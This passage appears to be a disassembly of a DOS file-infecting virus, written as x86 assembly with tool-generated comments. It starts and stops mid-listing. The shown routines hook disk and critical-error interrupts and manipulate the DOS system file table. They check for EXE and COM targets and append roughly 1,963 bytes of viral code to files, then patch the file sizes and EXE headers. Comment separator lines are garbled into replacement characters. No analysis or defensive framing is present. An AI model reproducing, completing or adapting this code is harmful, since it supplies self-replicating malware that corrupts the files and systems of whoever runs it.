;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_3 proc near
|
|||
|
clc ; Clear carry flag
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_4:
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
pushf ; Push flags
|
|||
|
call sub_18 ; (0862)
|
|||
|
jc loc_48 ; Jump if carry Set
|
|||
|
mov bx,ax
|
|||
|
popf ; Pop flags
|
|||
|
pushf ; Push flags
|
|||
|
call sub_6 ; (0533)
|
|||
|
pushf ; Push flags
|
|||
|
call sub_19 ; (0867)
|
|||
|
popf ; Pop flags
|
|||
|
loc_48:
|
|||
|
pop bx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
sub_3 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_5 proc near
|
|||
|
clc ; Clear carry flag
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_6:
|
|||
|
cld ; Clear direction
|
|||
|
call sub_24 ; (0884)
|
|||
|
pushf ; Push flags
|
|||
|
push bx
|
|||
|
mov ax,1220h
|
|||
|
int 2Fh ; ??INT Non-standard interrupt.
|
|||
|
jc loc_49 ; Jump if carry Set
|
|||
|
xor bh,bh ; Zero register
|
|||
|
mov bl,es:[di]
|
|||
|
mov ax,1216h
|
|||
|
int 2Fh ; ??INT Non-standard interrupt.
|
|||
|
jnc loc_50 ; Jump if carry=0
|
|||
|
loc_49:
|
|||
|
call sub_25 ; (0896)
|
|||
|
retn
|
|||
|
loc_50:
|
|||
|
push es
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,3523h
|
|||
|
int 21h ; DOS Services ah=function 35h
|
|||
|
; get intrpt vector al in es:bx
|
|||
|
mov data_26,bx ; (8344:08BB=0)
|
|||
|
mov word ptr data_26+2,es ; (8344:08BD=8344h)
|
|||
|
inc ax
|
|||
|
int 21h ; DOS Services ah=function 35h
|
|||
|
; get intrpt vector al in es:bx
|
|||
|
mov data_28,bx ; (8344:08BF=0)
|
|||
|
mov word ptr data_28+2,es ; (8344:08C1=8344h)
|
|||
|
mov ah,25h ; '%'
|
|||
|
mov dx,offset int_24h_entry
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
dec ax
|
|||
|
inc dx
|
|||
|
inc dx
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
pop es
|
|||
|
pop bx
|
|||
|
mov al,2
|
|||
|
xchg al,es:[di+2]
|
|||
|
mov data_33,al ; (8344:08C9=0)
|
|||
|
mov ax,es:[di+5]
|
|||
|
mov data_34,ax ; (8344:08CA=0)
|
|||
|
mov ax,es:[di+15h]
|
|||
|
mov data_37,ax ; (8344:08D0=0)
|
|||
|
mov ax,es:[di+17h]
|
|||
|
mov data_38,ax ; (8344:08D2=0)
|
|||
|
mov ax,es:[di+11h]
|
|||
|
mov dx,es:[di+13h]
|
|||
|
mov data_35,ax ; (8344:08CC=0)
|
|||
|
mov data_36,dx ; (8344:08CE=0)
|
|||
|
cmp ax,1Ah
|
|||
|
sbb dx,0
|
|||
|
jc loc_55 ; Jump if carry Set
|
|||
|
popf ; Pop flags
|
|||
|
jc loc_52 ; Jump if carry Set
|
|||
|
mov ax,es:[di+28h]
|
|||
|
cmp ax,5845h
|
|||
|
je loc_51 ; Jump if equal
|
|||
|
cmp ax,4F43h
|
|||
|
jne loc_55 ; Jump if not equal
|
|||
|
mov al,4Dh ; 'M'
|
|||
|
loc_51:
|
|||
|
cmp al,es:[di+2Ah]
|
|||
|
jne loc_55 ; Jump if not equal
|
|||
|
loc_52:
|
|||
|
xor cx,cx ; Zero register
|
|||
|
xor dx,dx ; Zero register
|
|||
|
call sub_20 ; (086B)
|
|||
|
mov dx,8EAh
|
|||
|
mov cl,1Ah
|
|||
|
call sub_8 ; (0764)
|
|||
|
jc loc_57 ; Jump if carry Set
|
|||
|
xor cx,cx ; Zero register
|
|||
|
xor dx,dx ; Zero register
|
|||
|
call sub_7 ; (0758)
|
|||
|
jnz loc_53 ; Jump if not zero
|
|||
|
mov ax,data_47 ; (8344:08F2=0)
|
|||
|
mov dl,10h
|
|||
|
mul dx ; dx:ax = reg * ax
|
|||
|
mov cx,dx
|
|||
|
mov dx,ax
|
|||
|
loc_53:
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
add dx,7ABh
|
|||
|
adc cx,0
|
|||
|
cmp cx,data_36 ; (8344:08CE=0)
|
|||
|
jne loc_54 ; Jump if not equal
|
|||
|
cmp dx,data_35 ; (8344:08CC=0)
|
|||
|
loc_54:
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
jbe loc_56 ; Jump if below or =
|
|||
|
loc_55:
|
|||
|
jmp short loc_62 ; (065D)
|
|||
|
loc_56:
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
call sub_20 ; (086B)
|
|||
|
mov dx,904h
|
|||
|
mov cx,7ABh
|
|||
|
call sub_8 ; (0764)
|
|||
|
jnc loc_58 ; Jump if carry=0
|
|||
|
loc_57:
|
|||
|
jmp short loc_60 ; (0656)
|
|||
|
loc_58:
|
|||
|
push es
|
|||
|
push di
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov si,data_53e ; (8344:09EF=0)
|
|||
|
mov di,offset ds:[1EBh] ; (8344:01EB=1Eh)
|
|||
|
mov cx,0C3h
|
|||
|
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|||
|
pop di
|
|||
|
pop es
|
|||
|
jnz loc_65 ; Jump if not zero
|
|||
|
mov dx,cx
|
|||
|
call sub_21 ; (0870)
|
|||
|
mov cx,7ADh
|
|||
|
mov dx,904h
|
|||
|
call sub_7 ; (0758)
|
|||
|
jnz loc_59 ; Jump if not zero
|
|||
|
add cx,6
|
|||
|
loc_59:
|
|||
|
add es:[di+11h],cx
|
|||
|
adc word ptr es:[di+13h],0
|
|||
|
call sub_8 ; (0764)
|
|||
|
jc loc_60 ; Jump if carry Set
|
|||
|
mov si,dx
|
|||
|
dec cx
|
|||
|
dec cx
|
|||
|
call sub_10 ; (0778)
|
|||
|
cmp dx,[si]
|
|||
|
je loc_61 ; Jump if equal
|
|||
|
loc_60:
|
|||
|
stc ; Set carry flag
|
|||
|
jmp short loc_63 ; (0661)
|
|||
|
loc_61:
|
|||
|
cmp al,al
|
|||
|
jmp short loc_63 ; (0661)
|
|||
|
loc_62:
|
|||
|
mov al,1
|
|||
|
cmp al,0
|
|||
|
loc_63:
|
|||
|
pushf ; Push flags
|
|||
|
loc_64:
|
|||
|
mov si,offset data_33 ; (8344:08C9=0)
|
|||
|
cld ; Clear direction
|
|||
|
inc di
|
|||
|
inc di
|
|||
|
movsb ; Mov [si] to es:[di]
|
|||
|
inc di
|
|||
|
inc di
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
add di,0Ah
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
mov ax,2524h
|
|||
|
lds dx,dword ptr data_28 ; (8344:08BF=0) Load 32 bit ptr
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
dec ax
|
|||
|
lds dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
popf ; Pop flags
|
|||
|
call sub_25 ; (0896)
|
|||
|
retn
|
|||
|
loc_65:
|
|||
|
test byte ptr es:[di+4],4
|
|||
|
jnz loc_62 ; Jump if not zero
|
|||
|
mov ah,0Dh
|
|||
|
int 21h ; DOS Services ah=function 0Dh
|
|||
|
; flush disk buffers to disk
|
|||
|
push bx
|
|||
|
push ds
|
|||
|
push es
|
|||
|
mov ax,3540h
|
|||
|
int 21h ; DOS Services ah=function 35h
|
|||
|
; get intrpt vector al in es:bx
|
|||
|
mov data_30,bx ; (8344:08C3=0)
|
|||
|
mov word ptr data_30+2,es ; (8344:08C5=8344h)
|
|||
|
mov al,13h
|
|||
|
int 21h ; DOS Services ah=function 35h
|
|||
|
; get intrpt vector al in es:bx
|
|||
|
mov data_22,bx ; (8344:08B3=0)
|
|||
|
mov word ptr data_22+2,es ; (8344:08B5=8344h)
|
|||
|
mov ah,25h ; '%'
|
|||
|
lds dx,data_21 ; (8344:08AF=0) Load 32 bit ptr
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
mov al,40h ; '@'
|
|||
|
;* mov dx,offset loc_85 ;*
|
|||
|
db 0BAh, 59h,0ECh
|
|||
|
mov bx,0F000h
|
|||
|
mov ds,bx
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop bx
|
|||
|
xor cx,cx ; Zero register
|
|||
|
xor dx,dx ; Zero register
|
|||
|
call sub_21 ; (0870)
|
|||
|
mov cx,7ABh
|
|||
|
mov si,904h
|
|||
|
call sub_7 ; (0758)
|
|||
|
jnz loc_66 ; Jump if not zero
|
|||
|
add cx,6
|
|||
|
mov ax,data_46 ; (8344:08F0=0)
|
|||
|
mov ds:data_54e,ax ; (8344:10AF=0)
|
|||
|
mov ax,data_48 ; (8344:08FE=0)
|
|||
|
mov ds:data_55e,ax ; (8344:10B1=0)
|
|||
|
mov ax,ds:data_49e ; (8344:0900=0)
|
|||
|
mov ds:data_56e,ax ; (8344:10B3=0)
|
|||
|
loc_66:
|
|||
|
push si
|
|||
|
call sub_10 ; (0778)
|
|||
|
mov [si],dx
|
|||
|
pop dx
|
|||
|
inc cx
|
|||
|
inc cx
|
|||
|
call sub_9 ; (076E)
|
|||
|
jc loc_68 ; Jump if carry Set
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
call sub_20 ; (086B)
|
|||
|
mov dx,100h
|
|||
|
mov cx,7ABh
|
|||
|
call sub_9 ; (076E)
|
|||
|
jc loc_69 ; Jump if carry Set
|
|||
|
call sub_7 ; (0758)
|
|||
|
jnz loc_67 ; Jump if not zero
|
|||
|
xor cx,cx ; Zero register
|
|||
|
mov data_46,cx ; (8344:08F0=0)
|
|||
|
mov data_48,dx ; (8344:08FE=0)
|
|||
|
mov word ptr ds:data_49e,0FFF0h ; (8344:0900=0)
|
|||
|
xor dx,dx ; Zero register
|
|||
|
call sub_20 ; (086B)
|
|||
|
mov dx,8EAh
|
|||
|
mov cx,1Ah
|
|||
|
call sub_9 ; (076E)
|
|||
|
jc loc_69 ; Jump if carry Set
|
|||
|
loc_67:
|
|||
|
cmp al,al
|
|||
|
jmp short loc_70 ; (073C)
|
|||
|
loc_68:
|
|||
|
mov al,1
|
|||
|
cmp al,0
|
|||
|
jmp short loc_70 ; (073C)
|
|||
|
loc_69:
|
|||
|
stc ; Set carry flag
|
|||
|
loc_70:
|
|||
|
pushf ; Push flags
|
|||
|
mov ah,0Dh
|
|||
|
int 21h ; DOS Services ah=function 0Dh
|
|||
|
; flush disk buffers to disk
|
|||
|
push ds
|
|||
|
mov ax,2513h
|
|||
|
lds dx,dword ptr data_22 ; (8344:08B3=0) Load 32 bit ptr
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
mov al,40h ; '@'
|
|||
|
lds dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
pop ds
|
|||
|
jmp loc_64 ; (0662)
|
|||
|
sub_5 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_7 proc near
|
|||
|
mov ax,data_45 ; (8344:08EA=0)
|
|||
|
cmp ax,5A4Dh
|
|||
|
je loc_ret_71 ; Jump if equal
|
|||
|
cmp ax,4D5Ah
|
|||
|
|
|||
|
loc_ret_71:
|
|||
|
retn
|
|||
|
sub_7 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_8 proc near
|
|||
|
mov ah,3Fh ; '?'
|
|||
|
call sub_23 ; (0879)
|
|||
|
jc loc_ret_72 ; Jump if carry Set
|
|||
|
cmp ax,cx
|
|||
|
|
|||
|
loc_ret_72:
|
|||
|
retn
|
|||
|
sub_8 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_9 proc near
|
|||
|
mov ah,40h ; '@'
|
|||
|
call sub_23 ; (0879)
|
|||
|
jc loc_ret_73 ; Jump if carry Set
|
|||
|
cmp ax,cx
|
|||
|
|
|||
|
loc_ret_73:
|
|||
|
retn
|
|||
|
sub_9 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_10 proc near
|
|||
|
push cx
|
|||
|
xor dx,dx ; Zero register
|
|||
|
|
|||
|
locloop_74:
|
|||
|
lodsb ; String [si] to al
|
|||
|
add dl,al
|
|||
|
adc dh,0
|
|||
|
loop locloop_74 ; Loop if cx > 0
|
|||
|
|
|||
|
pop cx
|
|||
|
retn
|
|||
|
sub_10 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_11 proc near
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,904h
|
|||
|
mov bx,ax
|
|||
|
mov cx,7ABh
|
|||
|
call sub_7 ; (0758)
|
|||
|
jnz loc_75 ; Jump if not zero
|
|||
|
mov ax,data_47 ; (8344:08F2=0)
|
|||
|
mov dx,10h
|
|||
|
mul dx ; dx:ax = reg * ax
|
|||
|
push bx
|
|||
|
push di
|
|||
|
call sub_12 ; (07BF)
|
|||
|
pop di
|
|||
|
pop bx
|
|||
|
mov si,offset data_45 ; (8344:08EA=0)
|
|||
|
mov cx,1Ah
|
|||
|
mov ax,ds:data_54e ; (8344:10AF=0)
|
|||
|
mov data_46,ax ; (8344:08F0=0)
|
|||
|
